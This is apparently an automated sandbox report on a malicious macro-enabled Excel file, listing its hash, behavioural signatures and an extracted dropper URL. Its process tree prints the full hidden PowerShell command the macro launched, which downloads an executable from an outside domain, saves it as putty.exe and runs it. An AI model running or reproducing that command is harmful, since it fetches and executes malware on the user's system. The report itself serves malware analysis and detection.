Analysis
- max time kernel
137s - max time network
137s - platform
windows10_x64 - resource
win10v200430 - submitted
08/07/2020, 07:45
General
- Target Vouch_me.xlsm
- Size 48KB
- Sample200708-t28z2prmx2
- SHA256 3d2f4071f4039fc8d0fa05ecc9cbad6f350e028dbae28f059d6f40446e688a16
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
https://seedwellresources.xyz/uT5wiEYASje8CME.exe
Signatures
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Suspicious use of WriteProcessMemory 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Blacklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Vouch_me.xlsm"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://seedwellresources.xyz/uT5wiEYASje8CME.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')2⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
-